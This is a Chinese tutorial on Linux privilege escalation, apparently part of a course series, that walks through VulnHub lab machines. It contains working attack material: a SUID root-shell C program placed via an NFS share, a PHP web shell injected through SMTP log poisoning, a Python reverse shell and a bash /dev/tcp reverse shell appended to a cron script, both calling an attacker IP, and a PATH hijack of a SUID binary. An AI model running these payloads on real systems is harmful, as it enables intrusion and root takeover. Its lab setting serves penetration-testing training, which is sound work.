DAY140权限提升-Linux系统权限提升篇VulnhubPATH变量NFS服务Cron任务配合SUID
一、演示案例-Linux系统提权-Web&普通用户-SUID-NFS安全
NFS是一种基于TCP/IP 传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源。
https://www.virtualbox.org/wiki/Downloads
https://www.vulnhub.com/entry/hacksudo-2-hackdudo,667/
前提条件:NFS端口服务开启和web或用户权限进行利用
1、信息收集
nmap 192.168.1.6
http://192.168.1.6/file.php?file=/etc/passwd

2、NFS服务利用
showmount -e 192.168.1.6
//用于显示NFS(网络文件系统)服务器上所有已导出的文件系统列表的命令

mkdir nfs //本地kali创建一个nfs目录
mount -t nfs 192.168.1.6:/mnt/nfs ./nfs //把目标的/mnt/nfs目录跟kali本地的nfs目录进行同步



3、配合SUID提权


find / -perm -u=s -type f 2>/dev/null //查看本地suid权限的文件
两种解决方式:1、找一个与目标版本相似的系统,上传这个系统的find 2、找一个与目标版本相似的系统,自己写一个c语言去调用命令
getroot.c
#include<stdlib.h>
#include<unistd.h>
int main()
{
setuid(0);
system("id");
system("/bin/bash");
}

gcc getroot.c -o getroot
//把getroot.c编译为getroot可执行文件

cp getroot /root/nfs //复制bash到挂载目录下
chmod +777 getroot //赋予777权限
chmod +s getroot //赋予suid权限
find / -perm -u=s -type f 2>/dev/null //使用查看当前suid权限看看是否有/mnt/nfs/getroot文件
cd /mnt/nfs //目标机来到/mnt/nfs目录下
./getroot //目标机执行getroot文件触发shell
python -c 'import pty; pty.spawn("/bin/bash")' //python起一个交互式终端

getroot.c
#include<stdlib.h>
#include<unistd.h>
int main()
{
setuid(0);
system("id");
system("whoami"); //whoami就是要执行的命令
}

二、演示案例-Linux系统提权-普通用户-SUID-PATH变量
复现环境:symfonos: 1 ~ VulnHub
前提条件:存在SUID的应用中能执行额外命令加用户权限
1、信息收集
smbclient -L 192.168.139.153

2、权限获取
smbclient //192.168.139.153/anonymous

smbclient //192.168.139.153/helios -U helios
helios \ qwerty

3、漏洞利用
wpscan --url http://192.168.139.153/h3l105/ --plugins-detection aggressive

searchsploit mail masta 1.0 //利用searchsploit搜索mail漏洞或者百度关键字

http://192.168.139.153/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

telnet 192.168.139.153 25
MAIL FROM: MALABIS
RCPT TO: helios
data
<?php system($_GET['shell']); ?>
.
QUIT

http://192.168.139.153/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&shell=
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.139.128",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

4、权限提升
python -c 'import pty;pty.spawn("/bin/bash")' //python起一个交互终端
find / -perm -u=s -type f 2>/dev/null //查看当前环境suid

strings /opt/statuscheck //查看这个文件的内容,寻找有用信息

cd /tmp
echo "/bin/sh" > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH


/opt/statuscheck

三、演示案例-Linux系统提权-Web&普通用户-Cron计划任务
复现环境:Jarbas: 1 ~ VulnHub
1、信息收集
http://192.168.139.152/access.html

2、权限获取
http://192.168.139.152:8080/




3、权限提升
cat /etc/crontab //查看当前服务器的计划任务

ls -lia /etc/script/CleaningScript.sh //查看对该任务文件的权限
echo "/bin/bash -i >& /dev/tcp/192.168.139.141/66 0>&1" >> /etc/script/CleaningScript.sh //把反弹shell命令写进这个文件里
cat /etc/script/CleaningScript.sh //查看脚本内容

相关文章:
DAY140权限提升-Linux系统权限提升篇VulnhubPATH变量NFS服务Cron任务配合SUID
一、演示案例-Linux系统提权-Web&普通用户-SUID-NFS安全 NFS是一种基于TCP/IP 传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源。 https://www.virtualbox.org/wiki/Downloads https://www.vuln…...
HTTPS 的应用数据是如何保证完整性的?
在 HTTPS 中,确保 应用数据的完整性 是通过以下几个关键机制来实现的: 消息认证码(MAC):用于确保数据在传输过程中未被篡改。加密:通过加密数据防止数据被窃取,并与 MAC 配合使用,确…...
Unity ShaderLab 实现3D物体描边
实现思路: 给物体添加第二个材质球,在shader的顶点着色器中使顶点的位置变大,然后在片元着色器中输出描边颜色。 shader Graph实现如下: ShaderLab实现如下: Shader "Custom/Outline" {Properties{[HDR]_…...
SQL进阶——C++与SQL进阶实践
在C开发中,SQL数据库的操作是开发者常见的任务之一。虽然前面我们已经介绍了如何在C中通过数据库连接执行基本的SQL查询,但在实际项目中,我们通常需要更加复杂和高效的数据库操作。存储过程与函数的调用、复杂SQL查询的编写、以及动态构造SQL…...
AIGC--------AIGC在医疗健康领域的潜力
AIGC在医疗健康领域的潜力 引言 AIGC(Artificial Intelligence Generated Content,人工智能生成内容)是一种通过深度学习和自然语言处理(NLP)等技术生成内容的方式。近年来,AIGC在医疗健康领域展现出了极…...
node.js中实现MySQL的增量备份
有时候,我们需要对生产库进行备份,不要求实时性很高,大概每天一次就行,为性能考虑,只备份最新更改内容,即增量备份即可,这种场景下对DB的设计和备份语句有所要求。 首先要求按源表各字段定义目标…...
Java线程池提交任务流程底层源码与源码解析
前言 嘿,各位技术爱好者们,今天咱们来聊聊Java线程池提交任务的底层源码与源码解析。作为一个资深的Java开发者,我相信你一定对线程池并不陌生。线程池作为并发编程中的一大利器,其重要性不言而喻。今天,我将以对话的…...
新型大语言模型的预训练与后训练范式,Meta的Llama 3.1语言模型
前言:大型语言模型(LLMs)的发展历程可以说是非常长,从早期的GPT模型一路走到了今天这些复杂的、公开权重的大型语言模型。最初,LLM的训练过程只关注预训练,但后来逐步扩展到了包括预训练和后训练在内的完整…...
硬菜3道+馒头
硬菜3道 1、可乐鸡翅 》鸡翅滑刀酱油耗油胡椒粉盐》 搅拌腌制3-5分钟 》油锅,直到2面煎黄 》倒入可乐,到大火收汁,出锅 2、洋葱牛肉 》冻牛肉切薄酱油耗油胡椒粉盐 》手指摇匀 》加入生粉水,继续摇匀》直到粘稠 》油锅牛肉炒半熟&…...
YOLO系列论文综述(从YOLOv1到YOLOv11)【第14篇:YOLOv11——在速度和准确性方面具有无与伦比的性能】
YOLOv11 1 摘要2 改进点3 模型性能4 模型架构 YOLO系列博文: 【第1篇:概述物体检测算法发展史、YOLO应用领域、评价指标和NMS】【第2篇:YOLO系列论文、代码和主要优缺点汇总】【第3篇:YOLOv1——YOLO的开山之作】【第4篇ÿ…...
【Spring】聊聊@EventListener注解原理
1.一个Demo出发 在平时的开发中,其实编写同步线程代码是比较容易的,但是如何将一些操作和另外一些操作进行解除耦合,而事件方式 是一种很好的解耦合方式,比如当一个用户注销一个APP之后,需要发送一些短信 让他引流回来…...
LangChain——HTML文本分割 多种文本分割
Text Splitters 文本分割器 加载文档后,您通常会想要对其进行转换以更好地适合您的应用程序。最简单的例子是,您可能希望将长文档分割成更小的块,以适合模型的上下文窗口。 LangChain 有许多内置的文档转换器,可以轻松地拆分、组…...
梯度爆炸与消失
梯度爆炸和梯度消失 一、概念解析 (一)梯度爆炸 定义 在深度神经网络训练的反向传播过程中,梯度爆炸是指梯度的值过大的现象。这会使模型的参数更新出现异常。 产生原因 深层网络与链式法则:深度神经网络按链式法则计算某层权重…...
关于扩散方程的解
1-D 扩散方程的形式 Cauchy齐次方程 这个解无积分无级数,很简单的形式 美其名曰:基本解。 把基本解和初值做卷积,就得到cauchy方程的解。...
如何监控Elasticsearch集群状态?
大家好,我是锋哥。今天分享关于【如何监控Elasticsearch集群状态?】面试题。希望对大家有帮助; 如何监控Elasticsearch集群状态? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 监控 Elasticsearch 集群的状态对于确保…...
关于音频 DSP 的接口种类以及其应用场景介绍
在音频系统中,DSP(数字信号处理器)扮演着重要角色,通常会通过不同的接口与音频系统中的其他组件(如功放、扬声器、音频源等)进行连接。以汽车应用场景为例,以下是一些常见的接口类型分类及其介绍…...
arkTS:持久化储存UI状态的基本用法(PersistentStorage)
arkUI:持久化储存UI状态的基本用法(PersistentStorage) 1 主要内容说明2 例子2.1 持久化储存UI状态的基本用法(PersistentStorage)2.1.1 源码1的相关说明2.1.1.1 数据存储2.1.1.2 数据读取2.1.1.3 动态更新2.1.1.4 显示…...
css—动画
一、背景 本文章是用于解释上一篇文章中的问题,如果会动画的小伙伴就不用再次来看了,本文主要讲解一下动画的设定规则,以及如何在元素中添加动画,本文会大篇幅的讲解一下,动画属性。注意,这是css3的内容&am…...
YOLO系列论文综述(从YOLOv1到YOLOv11)【第12篇:YOLOv9——可编程梯度信息(PGI)+广义高效层聚合网络(GELAN)】
YOLOv9 1 摘要2 改进点3 网络架构 YOLO系列博文: 【第1篇:概述物体检测算法发展史、YOLO应用领域、评价指标和NMS】【第2篇:YOLO系列论文、代码和主要优缺点汇总】【第3篇:YOLOv1——YOLO的开山之作】【第4篇:YOLOv2—…...
【ETCD】etcd简单入门之基础操作基于etcdctl进行操作
这里将使用etcdctl命令行工具来进行演示, 1、使用put命令向etcd写入kv对 使用etcdctl put命令来设置键值对。put命令接受两个参数:键和值 使用方法: NAME:put - Puts the given key into the storeUSAGE:etcdctl put [options] <key&g…...
遍历 Map 类型集合的方法汇总
1 方法一 先用方法 keySet() 获取集合中的所有键。再通过 gey(key) 方法用对应键获取值 import java.util.HashMap; import java.util.Set;public class Test {public static void main(String[] args) {HashMap hashMap new HashMap();hashMap.put("语文",99);has…...
YSYX学习记录(八)
C语言,练习0: 先创建一个文件夹,我用的是物理机: 安装build-essential 练习1: 我注释掉了 #include <stdio.h> 出现下面错误 在你的文本编辑器中打开ex1文件,随机修改或删除一部分,之后…...
Linux简单的操作
ls ls 查看当前目录 ll 查看详细内容 ls -a 查看所有的内容 ls --help 查看方法文档 pwd pwd 查看当前路径 cd cd 转路径 cd .. 转上一级路径 cd 名 转换路径 …...
【CSS position 属性】static、relative、fixed、absolute 、sticky详细介绍,多层嵌套定位示例
文章目录 ★ position 的五种类型及基本用法 ★ 一、position 属性概述 二、position 的五种类型详解(初学者版) 1. static(默认值) 2. relative(相对定位) 3. absolute(绝对定位) 4. fixed(固定定位) 5. sticky(粘性定位) 三、定位元素的层级关系(z-i…...
如何在看板中有效管理突发紧急任务
在看板中有效管理突发紧急任务需要:设立专门的紧急任务通道、重新调整任务优先级、保持适度的WIP(Work-in-Progress)弹性、优化任务处理流程、提高团队应对突发情况的敏捷性。其中,设立专门的紧急任务通道尤为重要,这能…...
汇编常见指令
汇编常见指令 一、数据传送指令 指令功能示例说明MOV数据传送MOV EAX, 10将立即数 10 送入 EAXMOV [EBX], EAX将 EAX 值存入 EBX 指向的内存LEA加载有效地址LEA EAX, [EBX4]将 EBX4 的地址存入 EAX(不访问内存)XCHG交换数据XCHG EAX, EBX交换 EAX 和 EB…...
OpenLayers 分屏对比(地图联动)
注:当前使用的是 ol 5.3.0 版本,天地图使用的key请到天地图官网申请,并替换为自己的key 地图分屏对比在WebGIS开发中是很常见的功能,和卷帘图层不一样的是,分屏对比是在各个地图中添加相同或者不同的图层进行对比查看。…...
NPOI Excel用OLE对象的形式插入文件附件以及插入图片
static void Main(string[] args) {XlsWithObjData();Console.WriteLine("输出完成"); }static void XlsWithObjData() {// 创建工作簿和单元格,只有HSSFWorkbook,XSSFWorkbook不可以HSSFWorkbook workbook new HSSFWorkbook();HSSFSheet sheet (HSSFSheet)workboo…...
R 语言科研绘图第 55 期 --- 网络图-聚类
在发表科研论文的过程中,科研绘图是必不可少的,一张好看的图形会是文章很大的加分项。 为了便于使用,本系列文章介绍的所有绘图都已收录到了 sciRplot 项目中,获取方式: R 语言科研绘图模板 --- sciRplothttps://mp.…...
【学习笔记】erase 删除顺序迭代器后迭代器失效的解决方案
目录 使用 erase 返回值继续迭代使用索引进行遍历 我们知道类似 vector 的顺序迭代器被删除后,迭代器会失效,因为顺序迭代器在内存中是连续存储的,元素删除后,后续元素会前移。 但一些场景中,我们又需要在执行删除操作…...

